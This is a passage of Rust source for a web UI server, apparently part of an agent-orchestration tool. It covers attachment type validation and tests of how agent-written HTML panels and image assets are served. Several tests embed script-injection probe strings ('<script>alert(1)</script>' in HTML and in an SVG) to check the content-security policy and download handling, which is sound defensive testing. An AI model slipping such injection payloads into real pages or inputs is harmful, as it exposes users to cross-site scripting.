6153/// themselves, returning the canonical mime on success.
6154///
6155/// Two checks, both required: the header has to name one of
6156/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
6157/// simply never in the list, active content rather than a picture, the same
6158/// exclusion [`asset_content_type`]'s doc explains), and the file's own
6159/// magic number has to agree. The second is what stops a mislabeled upload -
6160/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
6161/// a declared type is a claim, not a fact, so it is never trusted alone.
6162fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6163    if data.len() > ATTACHMENT_MAX_BYTES {
6164        return Err(ApiError::bad_request(format!(
6165            "attachment is {} bytes, over the {} MiB limit",
6166            data.len(),
6167            ATTACHMENT_MAX_BYTES / (1024 * 1024)
6168        ))
6169        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6170    }
6171    if data.is_empty() {
6172        return Err(ApiError::bad_request("attachment is empty"));
6173    }
6174    let declared = declared_mime(headers)?;
6175    match sniffed_mime(data) {
6176        Some(sniffed) if sniffed == declared => Ok(declared),
6177        Some(sniffed) => Err(ApiError::bad_request(format!(
6178            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6179        ))),
6180        None => Err(ApiError::bad_request(
6181            "the file's bytes do not match any accepted image format",
6182        )),
6183    }
6184}
6185
6186/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
6187/// and nothing else - parameters like `; charset=` are stripped, but the
6188/// value itself is not otherwise interpreted.
6189fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6190    let raw = headers
6191        .get(header::CONTENT_TYPE)
6192        .and_then(|v| v.to_str().ok())
6193        .unwrap_or("")
6194        .split(';')
6195        .next()
6196        .unwrap_or("")
6197        .trim()
6198        .to_ascii_lowercase();
6199    ATTACHMENT_MIME_WHITELIST
6200        .iter()
6201        .find(|&&m| m == raw)
6202        .copied()
6203        .ok_or_else(|| {
6204            if raw == "image/svg+xml" {
6205                ApiError::bad_request(
6206                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
6207                     not just a picture",
6208                )
6209            } else if raw.is_empty() {
6210                ApiError::bad_request("Content-Type is required for an attachment upload")
6211            } else {
6212                ApiError::bad_request(format!(
6213                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6214                     image/gif or image/webp"
6215                ))
6216            }
6217        })
6218}
6219
6220/// Identify an image by its magic number, independent of whatever
6221/// `Content-Type` claimed.
6222fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6223    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6224        Some("image/png")
6225    } else if data.starts_with(b"\xff\xd8\xff") {
6226        Some("image/jpeg")
6227    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6228        Some("image/gif")
6229    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6230        Some("image/webp")
6231    } else {
6232        None
6233    }
6234}
6235
6236/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
6237/// display - see [`talk::Attachment::name`]'s doc on why it never
6238/// contributes to a path. A missing or blank header (curl without it, an
6239/// older front end) falls back to a generic name rather than refusing the
6240/// upload over a field that is cosmetic.
6241fn filename_header(headers: &HeaderMap) -> String {
6242    headers
6243        .get(FILENAME_HEADER)
6244        .and_then(|v| v.to_str().ok())
6245        .map(str::trim)
6246        .filter(|s| !s.is_empty())
6247        .unwrap_or("attachment")
6248        .to_owned()
6249}
6250
6251/// Every attachment `GET` response: the mime re-validated against the same
6252/// closed whitelist the upload route enforces - never the string trusted
6253/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
6254/// cannot decide it knows better than the type we send. Unlike a panel asset
6255/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
6256/// document renders inline, not agent-authored HTML in a sandboxed frame.
6257fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6258    let content_type = ATTACHMENT_MIME_WHITELIST
6259        .iter()
6260        .find(|&&m| m == mime)
6261        .copied()
6262        .unwrap_or("application/octet-stream");
6263    (
6264        [
6265            (header::CONTENT_TYPE, content_type),
6266            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6267        ],
6268        body,
6269    )
6270        .into_response()
6271}
6272
6273/// The configuration for a repository, read off the disk for this request.
6274///
6275/// Through [`blocking`] because discovery reads and merges several TOML files,
6276/// and because the alternative - caching it in [`Ui`] at startup - would mean
6277/// the operator's phone kept interviewing with a roster they had already
6278/// changed, with no way to reload it but restarting the server they are not
6279/// sitting in front of.
6280async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6281    let repo = repo.to_path_buf();
6282    blocking(move || {
6283        let (cfg, _) = Config::discover(&repo, None)?;
6284        Ok(cfg)
6285    })
6286    .await
6287}
6288
6289/// The one prefix rule, used for both runs and tasks: a leading match for a
6290/// full id, a trailing match for the short form an operator reads off a
6291/// report. Written here rather than borrowed from `queue::resolve_id` because
6292/// the UI needs the two failures as different status codes, and telling them
6293/// apart from an error message is not something to build a route on.
6294fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6295    let mut hits = ids
6296        .into_iter()
6297        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6298    match (hits.next(), hits.next()) {
6299        (Some(one), None) => Ok(one),
6300        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6301        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6302            "`{prefix}` matches more than one {what}, including {a} and {b}"
6303        ))),
6304    }
6305}
6306
6307#[cfg(test)]
6308mod tests {
6309
6310    #[test]
6311    fn holder_reads_the_lease_not_the_record() {
6312        let mut q = Question::new(
6313            "run".to_owned(),
6314            "implement".to_owned(),
6315            "impl-A".to_owned(),
6316            "which?".to_owned(),
6317            String::new(),
6318            Vec::new(),
6319        );
6320        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
6321        q.cwd = Some("/tmp".to_owned());
6322        assert_eq!(holder_of(&q, None), Some("nobody"));
6323        let beat = |kind, ago: i64| ask::Lease {
6324            kind,
6325            pid: 1,
6326            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
6327                .unwrap(),
6328        };
6329        let fresh = beat(ask::WaiterKind::Asker, 1);
6330        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
6331        let daemon = beat(ask::WaiterKind::Daemon, 1);
6332        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
6333        let stale = beat(ask::WaiterKind::Asker, 3600);
6334        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
6335
6336        // A conductor question says "deputy" only while one is attached and
6337        // alive, and "nobody" - never silence - when nothing ever listened.
6338        let mut c = Question::new(
6339            "task".to_owned(),
6340            crate::conduct::NODE.to_owned(),
6341            "conduct".to_owned(),
6342            "which?".to_owned(),
6343            String::new(),
6344            Vec::new(),
6345        );
6346        assert_eq!(holder_of(&c, None), Some("nobody"));
6347        c.cwd = Some("/tmp".to_owned());
6348        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
6349        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
6350        let deputy = beat(ask::WaiterKind::Deputy, 1);
6351        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
6352        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
6353
6354        // A merge approval is the same: nobody until a deputy is attached
6355        // and alive, never a silent "no holder".
6356        let mut m = Question::new(
6357            "run".to_owned(),
6358            crate::land::APPROVAL_NODE.to_owned(),
6359            "land".to_owned(),
6360            "merge?".to_owned(),
6361            String::new(),
6362            Vec::new(),
6363        );
6364        assert_eq!(holder_of(&m, None), Some("nobody"));
6365        assert_eq!(
6366            holder_of(&m, Some(&fresh)),
6367            Some("nobody"),
6368            "a lease with no deputy is not a listener"
6369        );
6370        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
6371        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
6372        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
6373        assert_eq!(holder_of(&m, None), Some("nobody"));
6374    }
6375
6376    #[test]
6377    fn deputies_enabled_follows_the_config() {
6378        // An explicit roster, so the result never depends on which agent CLIs
6379        // this machine has installed.
6380        let on = Config {
6381            agents: vec![crate::config::AgentSpec {
6382                id: "stub".to_owned(),
6383                kind: AgentKind::Command,
6384                model: None,
6385                command: vec!["true".to_owned()],
6386                extra_args: Vec::new(),
6387                env: Default::default(),
6388                prompt_delivery: None,
6389            }],
6390            ..Config::default()
6391        };
6392        assert!(crate::deputy::can_start(Some(&on), ""));
6393        assert!(crate::deputy::can_start(Some(&on), "stub"));
6394        let mut off = on.clone();
6395        off.daemon.max_deputies = 0;
6396        assert!(!crate::deputy::can_start(Some(&off), ""));
6397        let mut empty = on;
6398        empty.agents.clear();
6399        assert!(!crate::deputy::can_start(Some(&empty), ""));
6400        assert!(!crate::deputy::can_start(None, ""));
6401    }
6402
6403    use pretty_assertions::assert_eq;
6404    use serde_json::Value;
6405    use tempfile::TempDir;
6406    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
6407
6408    use super::*;
6409    use crate::config::Config;
6410    use crate::queue::Source;
6411
6412    /// How many 10ms steps a settle loop takes before it calls a stall a
6413    /// stall - thirty seconds.
6414    ///
6415    /// These loops wait on real `sh` subprocesses, and the machine that runs
6416    /// the gate runs several suites at once, so a two-second budget was not
6417    /// waiting for the reply, it was racing the scheduler: two of these
6418    /// tests failed under that load with the turn simply not landed yet.
6419    /// This is a hang guard, not a latency assertion - every loop breaks the
6420    /// moment its condition holds, so a generous cap costs an idle machine
6421    /// nothing and still fails a genuine hang instead of hanging the suite.
6422    const SETTLE_STEPS: usize = 3_000;
6423
6424    /// A home with a queue and a runs directory, and a router serving it on
6425    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
6426    /// dependency, not ours - so the tests drive a real socket, which has the
6427    /// side benefit of asserting the status line and content types the phone
6428    /// actually receives.
6429    struct Fixture {
6430        home: TempDir,
6431        addr: SocketAddr,
6432    }
6433
6434    impl Fixture {
6435        async fn start() -> Self {
6436            Self::with_loop(launch_idle).await
6437        }
6438
6439        /// A fixture whose loop is `launch`.
6440        async fn with_loop(launch: Launch) -> Self {
6441            let home = TempDir::new().expect("temp home");
6442            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
6443            Self { home, addr }
6444        }
6445
6446        /// A fixture whose `ui.repo` is a real directory rather than the
6447        /// usual placeholder - for the routes that read config off it
6448        /// (`GET /api/repos`) and would otherwise have nothing to discover.
6449        async fn with_repo(repo: PathBuf) -> Self {
6450            let home = TempDir::new().expect("temp home");
6451            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
6452            Self { home, addr }
6453        }
6454
6455        /// As [`Fixture::with_repo`], with the machine-config file the
6456        /// settings screen reads and writes.
6457        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
6458            let home = TempDir::new().expect("temp home");
6459            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
6460            Self { home, addr }
6461        }
6462
6463        async fn serve(
6464            home: &FsPath,
6465            repo: PathBuf,
6466            launch: Launch,
6467            machine: Option<PathBuf>,
6468        ) -> SocketAddr {
6469            let queue = Queue::at(home.join("queue"));
6470            let runs = home.join("runs");
6471            std::fs::create_dir_all(&runs).expect("runs dir");
6472            let worktrees = home.join("wt").join("magi");
6473            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
6474            let ui = Ui::new(
6475                queue,
6476                Questions::at(home.join("questions")),
6477                Talks::at(home.join("talks")),
6478                runs,
6479                home.to_path_buf(),
6480                repo,
6481            )
6482            .with_worktrees_root(worktrees)
6483            .with_machine_config(machine)
6484            .with_launch(launch);
6485            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6486                .await
6487                .expect("bind loopback");
6488            let addr = listener.local_addr().expect("local addr");
6489            tokio::spawn(async move {
6490                let _ = axum::serve(listener, ui.router()).await;
6491            });
6492            addr
6493        }
6494
6495        fn queue(&self) -> Queue {
6496            Queue::at(self.home.path().join("queue"))
6497        }
6498
6499        fn questions(&self) -> Questions {
6500            Questions::at(self.home.path().join("questions"))
6501        }
6502
6503        fn talks(&self) -> Talks {
6504            Talks::at(self.home.path().join("talks"))
6505        }
6506
6507        fn runs(&self) -> PathBuf {
6508            self.home.path().join("runs")
6509        }
6510
6511        async fn get(&self, path: &str) -> Res {
6512            request(self.addr, "GET", path, None).await
6513        }
6514
6515        /// The status and headers without the body, which is how the front end
6516        /// preflights a panel: a sandboxed frame is opaque to the parent
6517        /// document, so the only way to tell "no panel" from "a panel that
6518        /// rendered blank" is to ask before mounting.
6519        async fn head(&self, path: &str) -> Res {
6520            request(self.addr, "HEAD", path, None).await
6521        }
6522
6523        async fn post(&self, path: &str, body: Option<&str>) -> Res {
6524            request(self.addr, "POST", path, body).await
6525        }
6526
6527        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
6528            request_with(self.addr, "GET", path, None, extra).await
6529        }
6530
6531        async fn delete(&self, path: &str) -> Res {
6532            request(self.addr, "DELETE", path, None).await
6533        }
6534
6535        async fn put(&self, path: &str, body: &str) -> Res {
6536            request(self.addr, "PUT", path, Some(body)).await
6537        }
6538
6539        /// `POST` a raw body with its own headers - see [`request_bytes`].
6540        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
6541            request_bytes(self.addr, path, headers, body).await
6542        }
6543    }
6544
6545    struct Res {
6546        status: u16,
6547        headers: String,
6548        /// The header block with its original casing, for the assertions that
6549        /// compare a header *value* rather than looking for a name. Lowercasing
6550        /// a CSP would hide a directive spelled with a capital letter, and the
6551        /// whole point of that test is that the string is exactly right.
6552        head: String,
6553        body: String,
6554        /// The body before any UTF-8 handling, for the routes that serve
6555        /// something other than text. A panel asset is a PNG as often as not,
6556        /// and `from_utf8_lossy` would silently replace half of it.
6557        bytes: Vec<u8>,
6558    }
6559
6560    impl Res {
6561        fn json(&self) -> Value {
6562            serde_json::from_str(&self.body)
6563                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
6564        }
6565
6566        /// One header's value verbatim, or `None` when it was not sent.
6567        fn header(&self, name: &str) -> Option<&str> {
6568            self.head.lines().find_map(|line| {
6569                let (key, value) = line.split_once(':')?;
6570                key.trim()
6571                    .eq_ignore_ascii_case(name)
6572                    .then(|| value.trim_start().trim_end_matches('\r'))
6573            })
6574        }
6575    }
6576
6577    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
6578    /// be read to end-of-stream without parsing framing.
6579    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
6580        request_with(addr, method, path, body, &[]).await
6581    }
6582
6583    /// As [`request`], with extra request headers - conditional GETs need
6584    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
6585    /// worse than one that sets none.
6586    async fn request_with(
6587        addr: SocketAddr,
6588        method: &str,
6589        path: &str,
6590        body: Option<&str>,
6591        extra: &[(&str, &str)],
6592    ) -> Res {
6593        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6594        for (name, value) in extra {
6595            head.push_str(&format!("{name}: {value}\r\n"));
6596        }
6597        if let Some(body) = body {
6598            head.push_str("Content-Type: application/json\r\n");
6599            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
6600        }
6601        head.push_str("\r\n");
6602        if let Some(body) = body {
6603            head.push_str(body);
6604        }
6605        let mut socket = tokio::net::TcpStream::connect(addr)
6606            .await
6607            .expect("connect to the test server");
6608        socket
6609            .write_all(head.as_bytes())
6610            .await
6611            .expect("write request");
6612        let mut raw = Vec::new();
6613        socket.read_to_end(&mut raw).await.expect("read response");
6614        // Split on the raw bytes rather than on a lossy string, so a binary
6615        // body survives to be compared byte for byte.
6616        let split = raw
6617            .windows(4)
6618            .position(|w| w == b"\r\n\r\n")
6619            .expect("a header block");
6620        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6621        let bytes = raw[split + 4..].to_vec();
6622        let status = head
6623            .lines()
6624            .next()
6625            .and_then(|line| line.split_whitespace().nth(1))
6626            .and_then(|code| code.parse().ok())
6627            .expect("a status line");
6628        Res {
6629            status,
6630            headers: head.to_lowercase(),
6631            head,
6632            body: String::from_utf8_lossy(&bytes).into_owned(),
6633            bytes,
6634        }
6635    }
6636
6637    /// A `POST` carrying a raw binary body and its own headers, for the
6638    /// attachment upload route - `request_with` only ever sends
6639    /// `Content-Type: application/json`, which is wrong for an image and
6640    /// would corrupt anything not valid UTF-8 by round-tripping it through
6641    /// `&str` first.
6642    async fn request_bytes(
6643        addr: SocketAddr,
6644        path: &str,
6645        headers: &[(&str, &str)],
6646        body: &[u8],
6647    ) -> Res {
6648        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
6649        for (name, value) in headers {
6650            head.push_str(&format!("{name}: {value}\r\n"));
6651        }
6652        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
6653        let mut socket = tokio::net::TcpStream::connect(addr)
6654            .await
6655            .expect("connect to the test server");
6656        socket
6657            .write_all(head.as_bytes())
6658            .await
6659            .expect("write request head");
6660        socket.write_all(body).await.expect("write request body");
6661        let mut raw = Vec::new();
6662        socket.read_to_end(&mut raw).await.expect("read response");
6663        let split = raw
6664            .windows(4)
6665            .position(|w| w == b"\r\n\r\n")
6666            .expect("a header block");
6667        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
6668        let bytes = raw[split + 4..].to_vec();
6669        let status = head
6670            .lines()
6671            .next()
6672            .and_then(|line| line.split_whitespace().nth(1))
6673            .and_then(|code| code.parse().ok())
6674            .expect("a status line");
6675        Res {
6676            status,
6677            headers: head.to_lowercase(),
6678            head,
6679            body: String::from_utf8_lossy(&bytes).into_owned(),
6680            bytes,
6681        }
6682    }
6683
6684    /// A run on disk, without touching the process-global magi home.
6685    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
6686        let mut state = RunState::new(
6687            PathBuf::from("/repo/magi"),
6688            "main".to_owned(),
6689            "0123456789abcdef".to_owned(),
6690            "Add a web UI\n\nMobile first.".to_owned(),
6691            Config::default(),
6692        );
6693        state.id = id.to_owned();
6694        state.status = status;
6695        let dir = runs.join(id);
6696        std::fs::create_dir_all(&dir).expect("run dir");
6697        std::fs::write(
6698            dir.join("run.json"),
6699            serde_json::to_string_pretty(&state).expect("serialize run"),
6700        )
6701        .expect("write run.json");
6702    }
6703
6704    /// Same as [`write_run`], but against a named repository rather than the
6705    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
6706    /// spread across more than one.
6707    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
6708        let mut state = RunState::new(
6709            PathBuf::from(repo),
6710            "main".to_owned(),
6711            "0123456789abcdef".to_owned(),
6712            "task".to_owned(),
6713            Config::default(),
6714        );
6715        state.id = id.to_owned();
6716        state.status = status;
6717        let dir = runs.join(id);
6718        std::fs::create_dir_all(&dir).expect("run dir");
6719        std::fs::write(
6720            dir.join("run.json"),
6721            serde_json::to_string_pretty(&state).expect("serialize run"),
6722        )
6723        .expect("write run.json");
6724    }
6725
6726    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
6727        let body = serde_json::json!({
6728            "schema": 1,
6729            "pid": 4242,
6730            "started_at": Timestamp::now().to_string(),
6731            "updated_at": updated_at.to_string(),
6732            "idle": false,
6733            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
6734            "completed": 7,
6735            "polls": 143,
6736        });
6737        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
6738    }
6739
6740    /// A loop that starts, finds nothing to do, and waits to be told to stop.
6741    ///
6742    /// No test in this file may start the real loop - see [`Ui::launch`] for
6743    /// why - so this stands in for the only thing the routes need a loop to
6744    /// do: keep running until `Stop` is set, then return. A real
6745    /// `serve_until` here would resolve its queue and its status file through
6746    /// the process-global magi home, claim whatever it found in the
6747    /// operator's live backlog, overwrite the status file of the `magi serve`
6748    /// that owns it, and spend real agent quota on a real competition.
6749    fn launch_idle(
6750        _opts: daemon::Opts,
6751        stop: daemon::Stop,
6752    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6753        Box::pin(async move {
6754            while !stop.stopped() {
6755                tokio::time::sleep(Duration::from_millis(2)).await;
6756            }
6757            Ok(())
6758        })
6759    }
6760
6761    /// A loop that fails on the way up, the way one whose home has gone
6762    /// read-only does.
6763    fn launch_broken(
6764        _opts: daemon::Opts,
6765        _stop: daemon::Stop,
6766    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6767        Box::pin(async {
6768            Err(anyhow::anyhow!(
6769                "publish the daemon status file: read-only file system"
6770            ))
6771        })
6772    }
6773
6774    /// The address the parking loop knocks on, and what it heard there.
6775    ///
6776    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
6777    /// capture a fixture's address; this is how it is handed one. Only
6778    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
6779    /// these, so nothing else in this binary can race them.
6780    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
6781    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
6782
6783    /// A loop that, once it is asked to stop, checks the deck still answers
6784    /// before it goes.
6785    ///
6786    /// It stands in for a run mid-node: `finish_loop` waits for this future,
6787    /// so the request it makes is strictly inside the park window - no sleep
6788    /// and no polling needed to be sure of that.
6789    fn launch_knocking_on_the_way_out(
6790        _opts: daemon::Opts,
6791        stop: daemon::Stop,
6792    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
6793        Box::pin(async move {
6794            while !stop.stopped() {
6795                tokio::time::sleep(Duration::from_millis(2)).await;
6796            }
6797            let addr = PARK_KNOCK
6798                .lock()
6799                .expect("park knock")
6800                .expect("the test set an address");
6801            let heard = request(addr, "GET", "/api/health", None).await.status;
6802            *PARK_HEARD.lock().expect("park heard") = Some(heard);
6803            Ok(())
6804        })
6805    }
6806
6807    /// The loop view once `want` accepts it.
6808    ///
6809    /// Polled rather than asserted straight after the POST because stopping
6810    /// is deliberately not instant - that is the contract - and rather than
6811    /// slept through because a fixed wait is either flaky or slow.
6812    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
6813    /// finite, so a genuine hang fails the test instead of hanging the
6814    /// suite.
6815    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
6816        for _ in 0..SETTLE_STEPS {
6817            let view = fx.get("/api/loop").await.json();
6818            if want(&view) {
6819                return view;
6820            }
6821            tokio::time::sleep(Duration::from_millis(10)).await;
6822        }
6823        panic!(
6824            "the loop never settled: {}",
6825            fx.get("/api/loop").await.json()
6826        );
6827    }
6828
6829    /// File an open question directly in the store the server reads.
6830    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
6831        let store = fx.questions();
6832        let mut q = Question::new(
6833            "20260902-000000-beef".to_owned(),
6834            "implement".to_owned(),
6835            "impl-A".to_owned(),
6836            summary.to_owned(),
6837            "because it matters".to_owned(),
6838            choices.iter().map(|c| (*c).to_owned()).collect(),
6839        );
6840        store.put(&mut q).expect("put question");
6841        q.id
6842    }
6843
6844    /// A question with a panel the server can serve, plus the named assets.
6845    ///
6846    /// Written through `Questions::put_panel` rather than by laying out the
6847    /// directory here, so these tests exercise the same on-disk shape the
6848    /// agents produce and cannot pass against a layout only the tests know.
6849    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6850        let store = fx.questions();
6851        let mut q = Question::new(
6852            "20260902-000000-beef".to_owned(),
6853            "land".to_owned(),
6854            "fix".to_owned(),
6855            "Merge this?".to_owned(),
6856            "the diff is in the panel".to_owned(),
6857            vec!["merge".to_owned(), "hold".to_owned()],
6858        );
6859        // Staged outside the questions root, because `put_panel` copies from
6860        // wherever the agent left its files.
6861        let staging = fx.home.path().join("staging");
6862        std::fs::create_dir_all(&staging).expect("staging dir");
6863        let sources: Vec<PathBuf> = assets
6864            .iter()
6865            .map(|(name, bytes)| {
6866                let path = staging.join(name);
6867                std::fs::write(&path, bytes).expect("write staged asset");
6868                path
6869            })
6870            .collect();
6871        store
6872            .put_panel(&mut q, html, &sources)
6873            .expect("write the panel");
6874        store.put(&mut q).expect("put question");
6875        q.id
6876    }
6877
6878    /// A talk on disk, without talking to a model.
6879    ///
6880    /// Written as JSON straight into the store the server reads, because the
6881    /// only constructor `talk::begin` offers takes no turn but still requires
6882    /// a real caller-visible flow. The one thing this cannot make up is the
6883    /// seat, so it is built with the real `SeatState::new` and serialized -
6884    /// the alternative, hand-writing that object, would make these tests fail
6885    /// the day the seat gains a field.
6886    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6887        let store = fx.talks();
6888        std::fs::create_dir_all(store.root()).expect("talks dir");
6889        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6890            .expect("serialize a seat");
6891        let body = serde_json::json!({
6892            "schema": 1,
6893            "id": id,
6894            "repo": "/repo/magi",
6895            "agent": "mock",
6896            "status": status,
6897            "turns": [],
6898            "created_at": Timestamp::now().to_string(),
6899            "updated_at": Timestamp::now().to_string(),
6900            "seat": seat,
6901        });
6902        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6903        store.get(id).expect("the seeded talk has to be readable");
6904        id.to_owned()
6905    }
6906
6907    #[tokio::test]
6908    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6909        let fx = Fixture::start().await;
6910        let id = panel(
6911            &fx,
6912            "<h1>Merge?</h1><img src=\"diff.svg\">",
6913            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
6914        );
6915
6916        for path in [
6917            format!("/api/questions/{id}/panel"),
6918            format!("/api/questions/{id}/asset/diff.svg"),
6919        ] {
6920            let res = fx.get(&path).await;
6921            assert_eq!(res.status, 200, "{path}: {}", res.body);
6922            // The whole string, not a substring. A weakened directive - an
6923            // `img-src *` that lets a panel beacon out to a remote host, a
6924            // `script-src` anything, a missing `form-action` that lets it post
6925            // the owner's decision to a third party - has to fail here, and a
6926            // `contains` assertion would let every one of those through.
6927            assert_eq!(
6928                res.header("content-security-policy"),
6929                Some(
6930                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
6931                     font-src data:; base-uri 'none'; form-action 'none'; \
6932                     frame-ancestors 'self'"
6933                ),
6934                "{path} is the only thing between a hostile panel and the tailnet"
6935            );
6936            assert_eq!(
6937                res.header("x-content-type-options"),
6938                Some("nosniff"),
6939                "{path}: a browser must not re-decide the type we sent"
6940            );
6941            assert_eq!(
6942                res.header("referrer-policy"),
6943                Some("no-referrer"),
6944                "{path}: a panel must not leak the question id off the machine"
6945            );
6946
6947            // The front end mounts the frame only after a `HEAD` says the
6948            // panel is there, so `HEAD` has to answer with the same status and
6949            // the same policy as `GET` - a preflight that came back without
6950            // the CSP would mean a frame mounted on an unverified promise.
6951            let pre = fx.head(&path).await;
6952            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
6953            assert_eq!(
6954                pre.header("content-security-policy"),
6955                res.header("content-security-policy"),
6956                "{path}: the preflight carries the same policy"
6957            );
6958            assert_eq!(
6959                pre.header("content-type"),
6960                res.header("content-type"),
6961                "{path}: the preflight carries the same type"
6962            );
6963        }
6964    }
6965
6966    #[tokio::test]
6967    async fn a_panel_reaches_the_browser_byte_for_byte() {
6968        let fx = Fixture::start().await;
6969        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
6970        // tag, an entity, and a multi-byte character. The sandbox is what makes
6971        // this safe, so nothing here may be rewritten on the way out - a
6972        // rewritten diff is a diff the owner cannot trust.
6973        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
6974        let id = panel(&fx, html, &[]);
6975
6976        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
6977
6978        assert_eq!(res.status, 200);
6979        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
6980        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
6981        assert_eq!(
6982            res.header("content-disposition"),
6983            None,
6984            "the panel itself is rendered in the frame, not downloaded"
6985        );
6986    }
6987
6988    #[tokio::test]
6989    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
6990        let fx = Fixture::start().await;
6991        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
6992        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
6993        let id = panel(
6994            &fx,
6995            "<img src=\"diff.svg\"><img src=\"shot.png\">",
6996            &[("diff.svg", svg), ("shot.png", png)],
6997        );
6998
6999        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7000        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7001
7002        assert_eq!(as_svg.status, 200);
7003        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7004        // An SVG is XML that may carry script. Inside the panel it is an
7005        // `<img src>` and the script cannot run; opened at the top level it
7006        // would be a document on magi's own origin, so the browser is told to
7007        // download it instead of rendering it.
7008        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7009
7010        assert_eq!(as_png.status, 200);
7011        assert_eq!(as_png.header("content-type"), Some("image/png"));
7012        assert_eq!(
7013            as_png.header("content-disposition"),
7014            None,
7015            "a raster image has no execution surface, so tapping it still shows it"
7016        );
7017        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7018    }
7019
7020    #[tokio::test]
7021    async fn an_html_asset_is_never_served_as_html() {
